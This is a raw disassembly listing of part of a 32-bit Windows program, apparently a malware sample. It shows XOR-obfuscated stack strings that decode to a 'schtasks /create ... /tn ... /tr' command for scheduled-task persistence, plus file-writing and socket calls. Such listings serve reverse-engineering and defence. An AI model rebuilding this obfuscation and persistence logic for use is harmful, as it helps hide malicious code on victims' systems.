push eax
call fcn.004e0f70
lea eax, [ebx + esi]
add esp, 0xc
mov byte [eax + edi], 0
lea ecx, [ebp - 0x17c]
jmp 0x418f06
push edi
push ecx
mov byte [ebp - 0x22], 0
lea ecx, [ebp - 0x17c]
push dword [ebp - 0x22]
push edi
call fcn.004706c0
mov edi, dword [ebp - 0x1b4]
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], eax
mov dword [ebp - 0x1c8], eax
mov eax, dword [ecx]
mov dword [ebp - 0x1dc], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x1d8], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x1d4], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x1d0], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x1cc], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x1c8], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0xe4]
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x1dc]
call fcn.0046a480
mov edx, eax
mov ecx, dword [edx]
mov esi, dword [edx + 0x10]
mov eax, dword [edx + 0x14]
mov dword [ebp - 0xe0], ecx
mov ecx, dword [edx + 4]
mov dword [ebp - 0xdc], ecx
mov ecx, dword [edx + 8]
mov dword [ebp - 0xd8], ecx
mov ecx, dword [edx + 0xc]
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0xd0], esi
mov dword [ebp - 0xcc], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x1c8]
cmp ecx, 0x10
jb 0x41900e
mov edx, dword [ebp - 0x1dc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419004
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419df5
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x168]
cmp ecx, 0x10
jb 0x419067
mov edx, dword [ebp - 0x17c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41905d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419df5
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x16c], 0
mov dword [ebp - 0x168], 0xf
mov byte [ebp - 0x17c], 0
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x1e0]
cmp ecx, 0x10
jb 0x4190c0
mov edx, dword [ebp - 0x1f4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4190b6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419df5
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1e0], 0xf
mov byte [ebp - 0x1f4], 0
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x180]
cmp ecx, 0x10
jb 0x419119
mov edx, dword [ebp - 0x194]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41910f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419df5
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 0xf
mov byte [ebp - 0x194], 0
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x138]
cmp ecx, 0x10
jb 0x419172
mov edx, dword [ebp - 0x14c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419168
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419df5
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x138], 0xf
mov byte [ebp - 0x14c], 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x198]
cmp ecx, 0x10
jb 0x4191cb
mov edx, dword [ebp - 0x1ac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4191c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419df5
push ecx
push edx
call fcn.004df511
add esp, 8
test esi, esi
mov dword [ebp - 0x19c], 0
lea eax, [ebp - 0xe0]
mov dword [ebp - 0x198], 0xf
sete bl
mov byte [ebp - 0x1ac], 0
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0046a770
mov cl, bl
call fcn.00415b90
add esp, 0x18
mov dword [ebp - 0xb2], 0xd5b1b9d4
mov dword [ebp - 0xae], 0x9889d6d8
xor ecx, ecx
mov dword [ebp - 0xaa], 0xb3b0b2dc
mov dword [ebp - 0xa6], 0x4d4d464f
mov dword [ebp - 0xa2], 0x6b742a24
mov dword [ebp - 0x9e], 0x4c434128
mov dword [ebp - 0x9a], 0x5b5d4844
mov word [ebp - 0x96], 0x100
jmp 0x419260
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0xb2], al
inc ecx
cmp ecx, 0x1c
jb 0x419260
mov byte [ebp - 0x95], 0
xor ecx, ecx
mov dword [ebp - 0x15], 0x83d9d5d6
mov dword [ebp - 0x11], 0xd8d996
mov byte [ebp - 0xd], 1
lea esp, [esp]
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x15], al
inc ecx
cmp ecx, 7
jb 0x419290
mov byte [ebp - 0xd], 0
xor ecx, ecx
mov dword [ebp - 0x30], 0x83d9d5d6
mov dword [ebp - 0x2c], 0xd8d98a
mov byte [ebp - 0x28], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x4192b6
xor eax, eax
mov byte [ebp - 0x28], 0
lea ecx, [ebp - 0x360]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4192f7
sub ecx, edx
lea eax, [ebp - 0x360]
push ecx
push eax
lea ecx, [ebp - 0x130]
call fcn.00402ae0
mov byte [ebp - 4], 0x1e
xor ecx, ecx
mov dword [ebp - 0x14c], 0x839e9687
mov dword [ebp - 0x148], 0x88918a99
mov dword [ebp - 0x144], 0x8d9dd2dc
mov dword [ebp - 0x140], 0x66766065
mov dword [ebp - 0x13c], 0x27602a24
mov dword [ebp - 0x138], 0x2b5f5b27
mov word [ebp - 0x134], 0x2e
mov byte [ebp - 0x132], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x14c], al
inc ecx
cmp ecx, 0x19
jb 0x419365
lea eax, [ebp - 0x130]
mov byte [ebp - 0x132], 0
push eax
lea edx, [ebp - 0x14c]
lea ecx, [ebp - 0x118]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x1f
push ecx
mov ecx, eax
call fcn.0046a480
mov edx, eax
xor eax, eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov ecx, dword [edx]
mov dword [ebp - 0x5c], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x58], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x54], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x50], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x4c], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x48], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x164]
cmp dword [ebp - 0x150], 0x10
mov esi, dword [ebp - 0x154]
jb 0x419410
mov ecx, dword [ebp - 0x164]
mov edx, dword [ebp - 0x48]
mov eax, edx
mov ebx, dword [ebp - 0x4c]
sub eax, ebx
cmp esi, eax
ja 0x419450
lea eax, [ebx + esi]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x24], eax
cmp edx, 0x10
jb 0x419435
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x24], eax
push esi
add eax, ebx
push ecx
push eax
call fcn.004e0f70
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x5c]
add esp, 0xc
add eax, esi
mov byte [eax + ebx], 0
jmp 0x419464
push esi
push ecx
mov byte [ebp - 0x22], 0
lea ecx, [ebp - 0x5c]
push dword [ebp - 0x22]
push esi
call fcn.004706c0
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov eax, dword [ecx]
mov dword [ebp - 0x74], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x70], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x6c], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x68], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x64], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x60], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0x15]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x74]
call fcn.0046a480
mov edx, eax
xor eax, eax
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], eax
mov ecx, dword [edx]
mov dword [ebp - 0xfc], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0xf8], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0xf4], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xf0], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0xec], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0xe8], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x1c4]
cmp dword [ebp - 0x1b0], 0x10
jb 0x419543
mov ecx, dword [ebp - 0x1c4]
mov edx, dword [ebp - 0xe8]
mov eax, edx
mov esi, dword [ebp - 0xec]
sub eax, esi
cmp edi, eax
ja 0x41958e
lea eax, [esi + edi]
mov dword [ebp - 0xec], eax
lea ebx, [ebp - 0xfc]
cmp edx, 0x10
jb 0x419571
mov ebx, dword [ebp - 0xfc]
push edi
lea eax, [ebx + esi]
push ecx
push eax
call fcn.004e0f70
lea eax, [ebx + esi]
add esp, 0xc
mov byte [eax + edi], 0
lea ecx, [ebp - 0xfc]
jmp 0x4195a5
push edi
push ecx
mov byte [ebp - 0x22], 0
lea ecx, [ebp - 0xfc]
push dword [ebp - 0x22]
push edi
call fcn.004706c0
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x20c], eax
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], eax
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], eax
mov dword [ebp - 0x1f8], eax
mov eax, dword [ecx]
mov dword [ebp - 0x20c], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x208], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x204], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x200], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x1fc], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x1f8], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0xb2]
mov byte [ebp - 4], 0x23
push eax
lea ecx, [ebp - 0x20c]
call fcn.0046a480
mov edx, eax
mov ecx, dword [edx]
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x1ac], ecx
mov ecx, dword [edx + 4]
mov dword [ebp - 0x1a8], ecx
mov ecx, dword [edx + 8]
mov dword [ebp - 0x1a4], ecx
mov ecx, dword [edx + 0xc]
mov dword [ebp - 0x1a0], ecx
mov ecx, dword [edx + 0x10]
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x198], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x1f8]
cmp ecx, 0x10
jb 0x4196ad
mov edx, dword [ebp - 0x20c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4196a3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419dfa
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x1fc], 0
mov dword [ebp - 0x1f8], 0xf
mov byte [ebp - 0x20c], 0
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0xe8]
cmp ecx, 0x10
jb 0x419706
mov edx, dword [ebp - 0xfc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4196fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419dfa
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xe8], 0xf
mov byte [ebp - 0xfc], 0
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x60]
cmp ecx, 0x10
jb 0x419759
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41974f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419dfa
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], 0
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x10
jb 0x4197a3
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419799
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419dfa
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0x104]
cmp ecx, 0x10
jb 0x4197f3
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4197e9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419dfa
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
mov byte [ebp - 4], 0x2a
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0x10
jb 0x41984c
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419842
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419dfa
push ecx
push edx
call fcn.004df511
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x120], 0
lea eax, [ebp - 0x1ac]
mov dword [ebp - 0x11c], 0xf
mov ecx, esp
mov byte [ebp - 0x130], 0
push eax
call fcn.0046a770
xor cl, cl
call fcn.00415b90
mov byte [ebp - 4], 0x1d
add esp, 0x18
mov ecx, dword [ebp - 0x198]
cmp ecx, 0x10
jb 0x4198c0
mov edx, dword [ebp - 0x1ac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4198b6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419dff
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0xcc]
cmp ecx, 0x10
jb 0x4198fe
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4198f4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419dff
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x150]
cmp ecx, 0x10
jb 0x41993c
mov edx, dword [ebp - 0x164]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419932
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419dff
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x419977
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41996d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419e04
push ecx
push edx
call fcn.004df511
add esp, 8
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x419ca1
xor eax, eax
mov ecx, ebx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4199b0
sub ecx, edx
push ecx
push ebx
lea ecx, [ebp - 0x130]
call fcn.00402ae0
mov byte [ebp - 4], 0x2b
xor ecx, ecx
mov dword [ebp - 0x44], 0x83d8a5b9
mov dword [ebp - 0x40], 0x1008995
lea ebx, [ebx]
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 6
jb 0x4199e0
mov byte [ebp - 0x3d], 0
xor ecx, ecx
mov dword [ebp - 0x13], 0x909787a8
mov word [ebp - 0xf], 0x9d
mov byte [ebp - 0xd], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 5
jb 0x419a05
lea ecx, [ebp - 0x13]
mov byte [ebp - 0xd], 0
lea edx, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419a20
sub ecx, edx
mov eax, closesocket
mov edx, dword [0x534d6c]
sub eax, edx
cmp eax, ecx
jb 0x419e09
cmp dword [0x534d70], 0x10
mov eax, 0x534d5c
jb 0x419a51
mov eax, dword [0x534d5c]
push edx
push eax
push ecx
lea eax, [ebp - 0x13]
push eax
push ecx
push dword [ebp - 0x94]
lea ecx, [ebp - 0x118]
call fcn.004720e0
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x2c
push eax
lea ecx, [ebp - 0x118]
call fcn.0046a480
mov edx, eax
mov ecx, dword [edx]
mov eax, dword [edx + 0x14]
mov dword [ebp - 0xe0], ecx
mov ecx, dword [edx + 4]
mov dword [ebp - 0xdc], ecx
mov ecx, dword [edx + 8]
mov dword [ebp - 0xd8], ecx
mov ecx, dword [edx + 0xc]
mov dword [ebp - 0xd4], ecx
mov ecx, dword [edx + 0x10]
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xcc], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
lea eax, [ebp - 0xe0]
mov byte [ebp - 4], 0x2d
push eax
lea ecx, [ebp - 0x130]
call fcn.0046a4f0
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0xcc]
cmp ecx, 0x10
jb 0x419b19
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419b0f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419e0e
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x2b
mov ecx, dword [ebp - 0x104]
cmp ecx, 0x10
jb 0x419b57
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419b4d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419e0e
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x1c], 0x1009783
xor ecx, ecx
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 2
jb 0x419b60
cmp dword [ebp - 0x11c], 0x10
lea eax, [ebp - 0x130]
mov byte [ebp - 0x19], 0
jb 0x419b87
mov eax, dword [ebp - 0x130]
lea ecx, [ebp - 0x1c]
push ecx
push eax
call fcn.004e5362
mov esi, eax
add esp, 8
test esi, esi
je 0x419c67
call fcn.004140e0
test edx, edx
jg 0x419bc7
jl 0x419bad
test eax, eax
jae 0x419bc7
neg eax
lea ecx, [ebp - 0x27]
adc edx, 0
neg edx
push edx
push eax
call fcn.00475280
mov byte [eax - 1], 0x2d
lea ecx, [eax - 1]
jmp 0x419bd3
push edx
push eax
lea ecx, [ebp - 0x27]
call fcn.00475280
mov ecx, eax
xor eax, eax
xor edx, edx
mov dword [ebp - 0x74], eax
add esp, 8
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x27]
mov dword [ebp - 0x64], edx
cmp ecx, eax
jne 0x419c00
mov eax, 0xf
mov byte [ebp - 0x74], dl
mov dword [ebp - 0x60], eax
jmp 0x419c15
lea eax, [ebp - 0x27]
sub eax, ecx
push eax
push ecx
lea ecx, [ebp - 0x74]
call fcn.00402ae0
mov eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x64]
lea ecx, [ebp - 0x74]
cmp eax, 0x10
jb 0x419c20
mov ecx, dword [ebp - 0x74]
push esi
push edx
push 1
push ecx
call fcn.004ed168
push esi
call fcn.004e8be8
mov ecx, dword [ebp - 0x60]
add esp, 0x14
cmp ecx, 0x10
jb 0x419c67
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419c5d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419e13
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0x10
jb 0x419ca1
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419c97
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419e18
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0x210]
cmp ecx, 0x10
jb 0x419cdb
mov edx, dword [ebp - 0x224]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419cd1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419e1d
push ecx
push edx
call fcn.004df511
add esp, 8
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x210], 0xf
mov byte [ebp - 0x224], 0
cmp eax, 0x10
jb 0x419d32
mov edx, dword [ebp - 0x1c4]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x419d28
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419e1d
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0x240]
cmp ecx, 0x10
jb 0x419d6c
mov edx, dword [ebp - 0x254]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419d62
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419e1d
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0x228]
cmp ecx, 0x10
jb 0x419da6
mov edx, dword [ebp - 0x23c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419d9c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419e1d
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00402270
call fcn.00402270
call fcn.00402270
push eax
call fcn.004de4bb
call fcn.00402270
call fcn.004e47b0
call fcn.004e47b0
call fcn.004e47b0
push eax
call fcn.004de4bb
call fcn.004e47b0
call fcn.00402270
call fcn.004e47b0
call fcn.004e47b0
call fcn.004e47b0
call fcn.004e47b0
call fcn.004e47b0
call fcn.00402270
call fcn.004e47b0
call fcn.004e47b0
call fcn.004e47b0
call fcn.004e47b0
int3